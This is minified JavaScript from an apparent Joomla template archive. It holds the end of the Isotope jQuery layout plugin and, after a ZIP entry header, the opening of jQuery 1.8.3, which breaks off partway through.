d=this["_"+c+"GetContainerSize"]();this.styleQueue.push({$el:this.element,style:d})}this._processStyleQueue(a,b),this.isLaidOut=!0},_processStyleQueue:function(a,c){var d=this.isLaidOut?this.isUsingJQueryAnimation?"animate":"css":"css",f=this.options.animationOptions,g=this.options.onLayout,h,i,j,k;i=function(a,b){b.$el[d](b.style,f)};if(this._isInserting&&this.isUsingJQueryAnimation)i=function(a,b){h=b.$el.hasClass("no-transition")?"css":d,b.$el[h](b.style,f)};else if(c||g||f.complete){var l=!1,m=[c,g,f.complete],n=this;j=!0,k=function(){if(l)return;var b;for(var c=0,d=m.length;c<d;c++)b=m[c],typeof b=="function"&&b.call(n.element,a,n);l=!0};if(this.isUsingJQueryAnimation&&d==="animate")f.complete=k,j=!1;else if(e.csstransitions){var o=0,p=this.styleQueue[0],s=p&&p.$el,t;while(!s||!s.length){t=this.styleQueue[o++];if(!t)return;s=t.$el}var u=parseFloat(getComputedStyle(s[0])[r]);u>0&&(i=function(a,b){b.$el[d](b.style,f).one(q,k)},j=!1)}}b.each(this.styleQueue,i),j&&k(),this.styleQueue=[]},resize:function(){this["_"+this.options.layoutMode+"ResizeChanged"]()&&this.reLayout()},reLayout:function(a){this["_"+this.options.layoutMode+"Reset"](),this.layout(this.$filteredAtoms,a)},addItems:function(a,b){var c=this._getAtoms(a);this.$allAtoms=this.$allAtoms.add(c),b&&b(c)},insert:function(a,b){this.element.append(a);var c=this;this.addItems(a,function(a){var d=c._filter(a);c._addHideAppended(d),c._sort(),c.reLayout(),c._revealAppended(d,b)})},appended:function(a,b){var c=this;this.addItems(a,function(a){c._addHideAppended(a),c.layout(a),c._revealAppended(a,b)})},_addHideAppended:function(a){this.$filteredAtoms=this.$filteredAtoms.add(a),a.addClass("no-transition"),this._isInserting=!0,this.styleQueue.push({$el:a,style:this.options.hiddenStyle})},_revealAppended:function(a,b){var c=this;setTimeout(function(){a.removeClass("no-transition"),c.styleQueue.push({$el:a,style:c.options.visibleStyle}),c._isInserting=!1,c._processStyleQueue(a,b)},10)},reloadItems:function(){this.$allAtoms=this._getAtoms(this.element.children())},remove:function(a,b){this.$allAtoms=this.$allAtoms.not(a),this.$filteredAtoms=this.$filteredAtoms.not(a);var c=this,d=function(){a.remove(),b&&b.call(c.element)};a.filter(":not(."+this.options.hiddenClass+")").length?(this.styleQueue.push({$el:a,style:this.options.hiddenStyle}),this._sort(),this.reLayout(d)):d()},shuffle:function(a){this.updateSortData(this.$allAtoms),this.options.sortBy="random",this._sort(),this.reLayout(a)},destroy:function(){var a=this.usingTransforms,b=this.options;this.$allAtoms.removeClass(b.hiddenClass+" "+b.itemClass).each(function(){var b=this.style;b.position="",b.top="",b.left="",b.opacity="",a&&(b[i]="")});var c=this.element[0].style;for(var d in this.originalStyle)c[d]=this.originalStyle[d];this.element.unbind(".isotope").undelegate("."+b.hiddenClass,"click").removeClass(b.containerClass).removeData("isotope"),w.unbind(".isotope")},_getSegments:function(a){var b=this.options.layoutMode,c=a?"rowHeight":"columnWidth",d=a?"height":"width",e=a?"rows":"cols",g=this.element[d](),h,i=this.options[b]&&this.options[b][c]||this.$filteredAtoms["outer"+f(d)](!0)||g;h=Math.floor(g/i),h=Math.max(h,1),this[b][e]=h,this[b][c]=i},_checkIfSegmentsChanged:function(a){var b=this.options.layoutMode,c=a?"rows":"cols",d=this[b][c];return this._getSegments(a),this[b][c]!==d},_masonryReset:function(){this.masonry={},this._getSegments();var a=this.masonry.cols;this.masonry.colYs=[];while(a--)this.masonry.colYs.push(0)},_masonryLayout:function(a){var c=this,d=c.masonry;a.each(function(){var a=b(this),e=Math.ceil(a.outerWidth(!0)/d.columnWidth);e=Math.min(e,d.cols);if(e===1)c._masonryPlaceBrick(a,d.colYs);else{var f=d.cols+1-e,g=[],h,i;for(i=0;i<f;i++)h=d.colYs.slice(i,i+e),g[i]=Math.max.apply(Math,h);c._masonryPlaceBrick(a,g)}})},_masonryPlaceBrick:function(a,b){var c=Math.min.apply(Math,b),d=0;for(var e=0,f=b.length;e<f;e++)if(b[e]===c){d=e;break}var g=this.masonry.columnWidth*d,h=c;this._pushPosition(a,g,h);var i=c+a.outerHeight(!0),j=this.masonry.cols+1-f;for(e=0;e<j;e++)this.masonry.colYs[d+e]=i},_masonryGetContainerSize:function(){var a=Math.max.apply(Math,this.masonry.colYs);return{height:a}},_masonryResizeChanged:function(){return this._checkIfSegmentsChanged()},_fitRowsReset:function(){this.fitRows={x:0,y:0,height:0}},_fitRowsLayout:function(a){var c=this,d=this.element.width(),e=this.fitRows;a.each(function(){var a=b(this),f=a.outerWidth(!0),g=a.outerHeight(!0);e.x!==0&&f+e.x>d&&(e.x=0,e.y=e.height),c._pushPosition(a,e.x,e.y),e.height=Math.max(e.y+g,e.height),e.x+=f})},_fitRowsGetContainerSize:function(){return{height:this.fitRows.height}},_fitRowsResizeChanged:function(){return!0},_cellsByRowReset:function(){this.cellsByRow={index:0},this._getSegments(),this._getSegments(!0)},_cellsByRowLayout:function(a){var c=this,d=this.cellsByRow;a.each(function(){var a=b(this),e=d.index%d.cols,f=Math.floor(d.index/d.cols),g=(e+.5)*d.columnWidth-a.outerWidth(!0)/2,h=(f+.5)*d.rowHeight-a.outerHeight(!0)/2;c._pushPosition(a,g,h),d.index++})},_cellsByRowGetContainerSize:function(){return{height:Math.ceil(this.$filteredAtoms.length/this.cellsByRow.cols)*this.cellsByRow.rowHeight+this.offset.top}},_cellsByRowResizeChanged:function(){return this._checkIfSegmentsChanged()},_straightDownReset:function(){this.straightDown={y:0}},_straightDownLayout:function(a){var c=this;a.each(function(a){var d=b(this);c._pushPosition(d,0,c.straightDown.y),c.straightDown.y+=d.outerHeight(!0)})},_straightDownGetContainerSize:function(){return{height:this.straightDown.y}},_straightDownResizeChanged:function(){return!0},_masonryHorizontalReset:function(){this.masonryHorizontal={},this._getSegments(!0);var a=this.masonryHorizontal.rows;this.masonryHorizontal.rowXs=[];while(a--)this.masonryHorizontal.rowXs.push(0)},_masonryHorizontalLayout:function(a){var c=this,d=c.masonryHorizontal;a.each(function(){var a=b(this),e=Math.ceil(a.outerHeight(!0)/d.rowHeight);e=Math.min(e,d.rows);if(e===1)c._masonryHorizontalPlaceBrick(a,d.rowXs);else{var f=d.rows+1-e,g=[],h,i;for(i=0;i<f;i++)h=d.rowXs.slice(i,i+e),g[i]=Math.max.apply(Math,h);c._masonryHorizontalPlaceBrick(a,g)}})},_masonryHorizontalPlaceBrick:function(a,b){var c=Math.min.apply(Math,b),d=0;for(var e=0,f=b.length;e<f;e++)if(b[e]===c){d=e;break}var g=c,h=this.masonryHorizontal.rowHeight*d;this._pushPosition(a,g,h);var i=c+a.outerWidth(!0),j=this.masonryHorizontal.rows+1-f;for(e=0;e<j;e++)this.masonryHorizontal.rowXs[d+e]=i},_masonryHorizontalGetContainerSize:function(){var a=Math.max.apply(Math,this.masonryHorizontal.rowXs);return{width:a}},_masonryHorizontalResizeChanged:function(){return this._checkIfSegmentsChanged(!0)},_fitColumnsReset:function(){this.fitColumns={x:0,y:0,width:0}},_fitColumnsLayout:function(a){var c=this,d=this.element.height(),e=this.fitColumns;a.each(function(){var a=b(this),f=a.outerWidth(!0),g=a.outerHeight(!0);e.y!==0&&g+e.y>d&&(e.x=e.width,e.y=0),c._pushPosition(a,e.x,e.y),e.width=Math.max(e.x+f,e.width),e.y+=g})},_fitColumnsGetContainerSize:function(){return{width:this.fitColumns.width}},_fitColumnsResizeChanged:function(){return!0},_cellsByColumnReset:function(){this.cellsByColumn={index:0},this._getSegments(),this._getSegments(!0)},_cellsByColumnLayout:function(a){var c=this,d=this.cellsByColumn;a.each(function(){var a=b(this),e=Math.floor(d.index/d.rows),f=d.index%d.rows,g=(e+.5)*d.columnWidth-a.outerWidth(!0)/2,h=(f+.5)*d.rowHeight-a.outerHeight(!0)/2;c._pushPosition(a,g,h),d.index++})},_cellsByColumnGetContainerSize:function(){return{width:Math.ceil(this.$filteredAtoms.length/this.cellsByColumn.rows)*this.cellsByColumn.columnWidth}},_cellsByColumnResizeChanged:function(){return this._checkIfSegmentsChanged(!0)},_straightAcrossReset:function(){this.straightAcross={x:0}},_straightAcrossLayout:function(a){var c=this;a.each(function(a){var d=b(this);c._pushPosition(d,c.straightAcross.x,0),c.straightAcross.x+=d.outerWidth(!0)})},_straightAcrossGetContainerSize:function(){return{width:this.straightAcross.x}},_straightAcrossResizeChanged:function(){return!0}},b.fn.imagesLoaded=function(a){function h(){a.call(c,d)}function i(a){var c=a.target;c.src!==f&&b.inArray(c,g)===-1&&(g.push(c),--e<=0&&(setTimeout(h),d.unbind(".imagesLoaded",i)))}var c=this,d=c.find("img").add(c.filter("img")),e=d.length,f="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==",g=[];return e||h(),d.bind("load.imagesLoaded error.imagesLoaded",i).each(function(){var a=this.src;this.src=f,this.src=a}),c};var x=function(b){a.console&&a.console.error(b)};b.fn.isotope=function(a,c){if(typeof a=="string"){var d=Array.prototype.slice.call(arguments,1);this.each(function(){var c=b.data(this,"isotope");if(!c){x("cannot call methods on isotope prior to initialization; attempted to call method '"+a+"'");return}if(!b.isFunction(c[a])||a.charAt(0)==="_"){x("no such method '"+a+"' for isotope instance");return}c[a].apply(c,d)})}else this.each(function(){var d=b.data(this,"isotope");d?(d.option(a),d._init(c)):b.data(this,"isotope",new b.Isotope(a,this,c))});return this}})(window,jQuery);PK!�M���m�mbluejoomla/js/jquery.min.jsnu&1i�/*! jQuery v1.8.3 jquery.com | jquery.org/license */
(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t,r)}return v.grep(e,function(e,r){return v.inArray(e,t)>=0===n})}function lt(e){var t=ct.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function At(e,t){if(t.nodeType!==1||!v.hasData(e))return;var n,r,i,s=v._data(e),o=v._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;r<i;r++)v.event.add(t,n,u[n][r])}o.data&&(o.data=v.extend({},o.data))}function Ot(e,t){var n;if(t.nodeType!==1)return;t.clearAttributes&&t.clearAttributes(),t.mergeAttributes&&t.mergeAttributes(e),n=t.nodeName.toLowerCase(),n==="object"?(t.parentNode&&(t.outerHTML=e.outerHTML),v.support.html5Clone&&e.innerHTML&&!v.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):n==="input"&&Et.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):n==="option"?t.selected=e.defaultSelected:n==="input"||n==="textarea"?t.defaultValue=e.defaultValue:n==="script"&&t.text!==e.text&&(t.text=e.text),t.removeAttribute(v.expando)}function Mt(e){return typeof e.getElementsByTagName!="undefined"?e.getElementsByTagName("*"):typeof e.querySelectorAll!="undefined"?e.querySelectorAll("*"):[]}function _t(e){Et.test(e.type)&&(e.defaultChecked=e.checked)}function Qt(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=Jt.length;while(i--){t=Jt[i]+n;if(t in e)return t}return r}function Gt(e,t){return e=t||e,v.css(e,"display")==="none"||!v.contains(e.ownerDocument,e)}function Yt(e,t){var n,r,i=[],s=0,o=e.length;for(;s<o;s++){n=e[s];if(!n.style)continue;i[s]=v._data(n,"olddisplay"),t?(!i[s]&&n.style.display==="none"&&(n.style.display=""),n.style.display===""&&Gt(n)&&(i[s]=v._data(n,"olddisplay",nn(n.nodeName)))):(r=Dt(n,"display"),!i[s]&&r!=="none"&&v._data(n,"olddisplay",r))}for(s=0;s<o;s++){n=e[s];if(!n.style)continue;if(!t||n.style.display==="none"||n.style.display==="")n.style.display=t?i[s]||"":"none"}return e}function Zt(e,t,n){var r=Rt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function en(e,t,n,r){var i=n===(r?"border":"content")?4:t==="width"?1:0,s=0;for(;i<4;i+=2)n==="margin"&&(s+=v.css(e,n+$t[i],!0)),r?(n==="content"&&(s-=parseFloat(Dt(e,"padding"+$t[i]))||0),n!=="margin"&&(s-=parseFloat(Dt(e,"border"+$t[i]+"Width"))||0)):(s+=parseFloat(Dt(e,"padding"+$t[i]))||0,n!=="padding"&&(s+=parseFloat(Dt(e,"border"+$t[i]+"Width"))||0));return s}function tn(e,t,n){var r=t==="width"?e.offsetWidth:e.offsetHeight,i=!0,s=v.support.boxSizing&&v.css(e,"boxSizing")==="border-box";if(r<=0||r==null){r=Dt(e,t);if(r<0||r==null)r=e.style[t];if(Ut.test(r))return r;i=s&&(v.support.boxSizingReliable||r===e.style[t]),r=parseFloat(r)||0}return r+en(e,t,n||(s?"border":"content"),i)+"px"}function nn(e){if(Wt[e])return Wt[e];var t=v("<"+e+">").appendTo(i.body),n=t.css("display");t.remove();if(n==="none"||n===""){Pt=i.body.appendChild(Pt||v.extend(i.createElement("iframe"),{frameBorder:0,width:0,height:0}));if(!Ht||!Pt.createElement)Ht=(Pt.contentWindow||Pt.contentDocument).document,Ht.write("<!doctype html><html><body>"),Ht.close();t=Ht.body.appendChild(Ht.createElement(e)),n=Dt(t,"display"),i.body.removeChild(Pt)}return Wt[e]=n,n}function fn(e,t,n,r){var i;if(v.isArray(t))v.each(t,function(t,i){n||sn.test(e)?r(e,i):fn(e+"["+(typeof i=="object"?t:"")+"]",i,n,r)});else if(!n&&v.type(t)==="object")for(i in t)fn(e+"["+i+"]",t[i],n,r);else r(e,t)}function Cn(e){return function(t,n){typeof t!="string"&&(n=t,t="*");var r,i,s,o=t.toLowerCase().split(y),u=0,a=o.length;if(v.isFunction(n))for(;u<a;u++)r=o[u],s=/^\+/.test(r),s&&(r=r.substr(1)||"*"),i=e[r]=e[r]||[],i[s?"unshift":"push"](n)}}function kn(e,n,r,i,s,o){s=s||n.dataTypes[0],o=o||{},o[s]=!0;var u,a=e[s],f=0,l=a?a.length:0,c=e===Sn;for(;f<l&&(c||!u);f++)u=a[f](n,r,i),typeof u=="string"&&(!c||o[u]?u=t:(n.dataTypes.unshift(u),u=kn(e,n,r,i,u,o)));return(c||!u)&&!o["*"]&&(u=kn(e,n,r,i,"*",o)),u}function Ln(e,n){var r,i,s=v.ajaxSettings.flatOptions||{};for(r in n)n[r]!==t&&((s[r]?e:i||(i={}))[r]=n[r]);i&&v.extend(!0,e,i)}function An(e,n,r){var i,s,o,u,a=e.contents,f=e.dataTypes,l=e.responseFields;for(s in l)s in r&&(n[l[s]]=r[s]);while(f[0]==="*")f.shift(),i===t&&(i=e.mimeType||n.getResponseHeader("content-type"));if(i)for(s in a)if(a[s]&&a[s].test(i)){f.unshift(s);break}if(f[0]in r)o=f[0];else{for(s in r){if(!f[0]||e.converters[s+" "+f[0]]){o=s;break}u||(u=s)}o=o||u}if(o)return o!==f[0]&&f.unshift(o),r[o]}function On(e,t){var n,r,i,s,o=e.dataTypes.slice(),u=o[0],a={},f=0;e.dataFilter&&(t=e.dataFilter(t,e.dataType));if(o[1])for(n in e.converters)a[n.toLowerCase()]=e.converters[n];for(;i=o[++f];)if(i!=="*"){if(u!=="*"&&u!==i){n=a[u+" "+i]||a["* "+i];if(!n)for(r in a){s=r.split(" ");if(s[1]===i){n=a[u+" "+s[0]]||a["* "+s[0]];if(n){n===!0?n=a[r]:a[r]!==!0&&(i=s[0],o.splice(f--,0,i));break}}}if(n!==!0)if(n&&e["throws"])t=n(t);else try{t=n(t)}catch(l){return{state:"parsererror",error:n?l:"No conversion from "+u+" to "+i}}}u=i}return{state:"success",data:t}}function Fn(){try{return new e.XMLHttpRequest}catch(t){}}function In(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function $n(){return setTimeout(function(){qn=t},0),qn=v.now()}function Jn(e,t){v.each(t,function(t,n){var r=(Vn[t]||[]).concat(Vn["*"]),i=0,s=r.length;for(;i<s;i++)if(r[i].call(e,t,n))return})}function Kn(e,t,n){var r,i=0,s=0,o=Xn.length,u=v.Deferred().always(function(){delete a.elem}),a=function(){var t=qn||$n(),n=Math.max(0,f.startTime+f.duration-t),r=n/f.duration||0,i=1-r,s=0,o=f.tweens.length;for(;s<o;s++)f.tweens[s].run(i);return u.notifyWith(e,[f,i,n]),i<1&&o?n:(u.resolveWith(e,[f]),!1)},f=u.promise({elem:e,props:v.extend({},t),opts:v.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:qn||$n(),duration:n.duration,tweens:[],createTween:function(t,n,r){var i=v.Tween(e,f.opts,t,n,f.opts.specialEasing[t]||f.opts.easing);return f.tweens.push(i),i},stop:function(t){var n=0,r=t?f.tweens.length:0;for(;n<r;n++)f.tweens[n].run(1);return t?u.resolveWith(e,[f,t]):u.rejectWith(e,[f,t]),this}}),l=f.props;Qn(l,f.opts.specialEasing);for(;i<o;i++){r=Xn[i].call(f,e,l,f.opts);if(r)return r}return Jn(f,l),v.isFunction(f.opts.start)&&f.opts.start.call(e,f),v.fx.timer(v.extend(a,{anim:f,queue:f.opts.queue,elem:e})),f.progress(f.opts.progress).done(f.opts.done,f.opts.complete).fail(f.opts.fail).always(f.opts.always)}function Qn(e,t){var n,r,i,s,o;for(n in e){r=v.camelCase(n),i=t[r],s=e[n],v.isArray(s)&&(i=s[1],s=e[n]=s[0]),n!==r&&(e[r]=s,delete e[n]),o=v.cssHooks[r];if(o&&"expand"in o){s=o.expand(s),delete e[r];for(n in s)n in e||(e[n]=s[n],t[n]=i)}else t[r]=i}}function Gn(e,t,n){var r,i,s,o,u,a,f,l,c,h=this,p=e.style,d={},m=[],g=e.nodeType&&Gt(e);n.queue||(l=v._queueHooks(e,"fx"),l.unqueued==null&&(l.unqueued=0,c=l.empty.fire,l.empty.fire=function(){l.unqueued||c()}),l.unqueued++,h.always(function(){h.always(function(){l.unqueued--,v.queue(e,"fx").length||l.empty.fire()})})),e.nodeType===1&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],v.css(e,"display")==="inline"&&v.css(e,"float")==="none"&&(!v.support.inlineBlockNeedsLayout||nn(e.nodeName)==="inline"?p.display="inline-block":p.zoom=1)),n.overflow&&(p.overflow="hidden",v.support.shrinkWrapBlocks||h.done(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t){s=t[r];if(Un.exec(s)){delete t[r],a=a||s==="toggle";if(s===(g?"hide":"show"))continue;m.push(r)}}o=m.length;if(o){u=v._data(e,"fxshow")||v._data(e,"fxshow",{}),"hidden"in u&&(g=u.hidden),a&&(u.hidden=!g),g?v(e).show():h.done(function(){v(e).hide()}),h.done(function(){var t;v.removeData(e,"fxshow",!0);for(t in d)v.style(e,t,d[t])});for(r=0;r<o;r++)i=m[r],f=h.createTween(i,g?u[i]:0),d[i]=u[i]||v.style(e,i),i in u||(u[i]=f.start,g&&(f.end=f.start,f.start=i==="width"||i==="height"?1:0))}}function Yn(e,t,n,r,i){return new Yn.prototype.init(e,t,n,r,i)}function Zn(e,t){var n,r={height:e},i=0;t=t?1:0;for(;i<4;i+=2-t)n=$t[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function tr(e){return v.isWindow(e)?e:e.nodeType===9?e.defaultView||e.parentWindow:!1}var n,r,i=e.document,s=e.location,o=e.navigator,u=e.jQuery,a=e.$,f=Array.prototype.push,l=Array.prototype.slice,c=Array.prototype.indexOf,h=Object.prototype.toString,p=Object.prototype.hasOwnProperty,d=String.prototype.trim,v=function(e,t){return new v.fn.init(e,t,n)},m=/[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source,g=/\S/,y=/\s+/,b=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,w=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,E=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,S=/^[\],:{}\s]*$/,x=/(?:^|:|,)(?:\s*\[)+/g,T=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,N=/"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,C=/^-ms-/,k=/-([\da-z])/gi,L=function(e,t){return(t+"").toUpperCase()},A=function(){i.addEventListener?(i.removeEventListener("DOMContentLoaded",A,!1),v.ready()):i.readyState==="complete"&&(i.detachEvent("onreadystatechange",A),v.ready())},O={};v.fn=v.prototype={constructor:v,init:function(e,n,r){var s,o,u,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(typeof e=="string"){e.charAt(0)==="<"&&e.charAt(e.length-1)===">"&&e.length>=3?s=[null,e,null]:s=w.exec(e);if(s&&(s[1]||!n)){if(s[1])return n=n instanceof v?n[0]:n,a=n&&n.nodeType?n.ownerDocument||n:i,e=v.parseHTML(s[1],a,!0),E.test(s[1])&&v.isPlainObject(n)&&this.attr.call(e,n,!0),v.merge(this,e);o=i.getElementById(s[2]);if(o&&o.parentNode){if(o.id!==s[2])return r.find(e);this.length=1,this[0]=o}return this.context=i,this.selector=e,this}return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}return v.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),v.makeArray(e,this))},selector:"",jquery:"1.8.3",length:0,size:function(){return this.length},toArray:function(){return l.call(this)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=v.merge(this.constructor(),e);return r.prevObject=this,r.context=this.context,t==="find"?r.selector=this.selector+(this.selector?" ":"")+n:t&&(r.selector=this.selector+"."+t+"("+n+")"),r},each:function(e,t){return v.each(this,e,t)},ready:function(e){return v.ready.promise().done(e),this},eq:function(e){return e=+e,e===-1?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(l.apply(this,arguments),"slice",l.call(arguments).join(","))},map:function(e){return this.pushStack(v.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:[].sort,splice:[].splice},v.fn.init.prototype=v.fn,v.extend=v.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;typeof u=="boolean"&&(l=u,u=arguments[1]||{},a=2),typeof u!="object"&&!v.isFunction(u)&&(u={}),f===a&&(u=this,--a);for(;a<f;a++)if((e=arguments[a])!=null)for(n in e){r=u[n],i=e[n];if(u===i)continue;l&&i&&(v.isPlainObject(i)||(s=v.isArray(i)))?(s?(s=!1,o=r&&v.isArray(r)?r:[]):o=r&&v.isPlainObject(r)?r:{},u[n]=v.extend(l,o,i)):i!==t&&(u[n]=i)}return u},v.extend({noConflict:function(t){return e.$===v&&(e.$=a),t&&e.jQuery===v&&(e.jQuery=u),v},isReady:!1,readyWait:1,holdReady:function(e){e?v.readyWait++:v.ready(!0)},ready:function(e){if(e===!0?--v.readyWait:v.isReady)return;if(!i.body)return setTimeout(v.ready,1);v.isReady=!0;if(e!==!0&&--v.readyWait>0)return;r.resolveWith(i,[v]),v.fn.trigger&&v(i).trigger("ready").off("ready")},isFunction:function(e){return v.type(e)==="function"},isArray:Array.isArray||function(e){return v.type(e)==="array"},isWindow:function(e){return e!=null&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return e==null?String(e):O[h.call(e)]||"object"},isPlainObject:function(e){if(!e||v.type(e)!=="object"||e.nodeType||v.isWindow(e))return!1;try{if(e.constructor&&!p.call(e,"constructor")&&!p.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||p.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var r;return!e||typeof e!="string"?null:(typeof t=="boolean"&&(n=t,t=0),t=t||i,(r=E.exec(e))?[t.createElement(r[1])]:(r=v.buildFragment([e],t,n?null:[]),v.merge([],(r.cacheable?v.clone(r.fragment):r.fragment).childNodes)))},parseJSON:function(t){if(!t||typeof t!="string")return null;t=v.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(S.test(t.replace(T,"@").replace(N,"]").replace(x,"")))return(new Function("return "+t))();v.error("Invalid JSON: "+t)},parseXML:function(n){var r,i;if(!n||typeof n!="string")return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(s){r=t}return(!r||!r.documentElement||r.getElementsByTagName("parsererror").length)&&v.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&g.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(C,"ms-").replace(k,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,n,r){var i,s=0,o=e.length,u=o===t||v.isFunction(e);if(r){if(u){for(i in e)if(n.apply(e[i],r)===!1)break}else for(;s<o;)if(n.apply(e[s++],r)===!1)break}else if(u){for(i in e)if(n.call(e[i],i,e[i])===!1)break}else for(;s<o;)if(n.call(e[s],s,e[s++])===!1)break;return e},trim:d&&!d.call("\ufeff\u00a0")?function(e){return e==null?"":d.call(e)}:function(e){return e==null?"":(e+"").replace(b,"")},makeArray:function(e,t){var n,r=t||[];return e!=null&&(n=v.type(e),e.length==null||n==="string"||n==="function"||n==="regexp"||v.isWindow(e)?f.call(r,e):v.merge(r,e)),r},inArray:function(e,t,n){var r;if(t){if(c)return c.call(t,e,n);r=t.length,n=n?n<0?Math.max(0,r+n):n:0;for(;n<r;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,s=0;if(typeof r=="number")for(;s<r;s++)e[i++]=n[s];else while(n[s]!==t)e[i++]=n[s++];return e.length=i,e},grep:function(e,t,n){var r,i=[],s=0,o=e.length;n=!!n;for(;s<o;s++)r=!!t(e[s],s),n!==r&&i.push(e[s]);return i},map:function(e,n,r){var i,s,o=[],u=0,a=e.length,f=e instanceof v||a!==t&&typeof a=="number"&&(a>0&&e[0]&&e[a-1]||a===0||v.isArray(e));if(f)for(;u<a;u++)i=n(e[u],u,r),i!=null&&(o[o.length]=i);else for(s in e)i=n(e[s],s,r),i!=null&&(o[o.length]=i);return o.concat.apply([],o)},guid:1,proxy:function(e,n){var r,i,s;return typeof n=="string"&&(r=e[n],n=e,e=r),v.isFunction(e)?(i=l.call(arguments,2),s=function(){return e.apply(n,i.concat(l.call(arguments)))},s.guid=e.guid=e.guid||v.guid++,s):t},access:function(e,n,r,i,s,o,u){var a,f=r==null,l=0,c=e.length;if(r&&typeof r=="object"){for(l in r)v.access(e,n,l,r[l],1,o,i);s=1}else if(i!==t){a=u===t&&v.isFunction(i),f&&(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return s?e:f?n.call(e):c?n(e[0],r):o},now:function(){return(new Date).getTime()}}),v.ready.promise=function(t){if(!r){r=v.Deferred();if(i.readyState==="complete")setTimeout(v.ready,1);else if(i.addEventListener)i.addEventListener("DOMContentLoaded",A,!1),e.addEventListener("load",v.ready,!1);else{i.attachEvent("onreadystatechange",A),e.attachEvent("onload",v.ready);var n=!1;try{n=e.frameElement==null&&i.documentElement}catch(s){}n&&n.doScroll&&function o(){if(!v.isReady){try{n.doScroll("left")}catch(e){return setTimeout(o,50)}v.ready()}}()}}return r.promise(t)},v.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(e,t){O["[object "+t+"]"]=t.toLowerCase()}),n=v(i);var M={};v.Callbacks=function(e){e=typeof e=="string"?M[e]||_(e):v.extend({},e);var n,r,i,s,o,u,a=[],f=!e.once&&[],l=function(t){n=e.memory&&t,r=!0,u=s||0,s=0,o=a.length,i=!0;for(;a&&u<o;u++)if(a[u].apply(t[0],t[1])===!1&&e.stopOnFalse){n=!1;break}i=!1,a&&(f?f.length&&l(f.shift()):n?a=[]:c.disable())},c={add:function(){if(a){var t=a.length;(function r(t){v.each(t,function(t,n){var i=v.type(n);i==="function"?(!e.unique||!c.has(n))&&a.push(n):n&&n.length&&i!=="string"&&r(n)})})(arguments),i?o=a.length:n&&(s=t,l(n))}return this},remove:function(){return a&&v.each(arguments,function(e,t){var n;while((n=v.inArray(t,a,n))>-1)a.splice(n,1),i&&(n<=o&&o--,n<=u&&u--)}),this},has:function(e){return v.inArray(e,a)>-1},empty:function(){return a=[],this},disable:function(){return 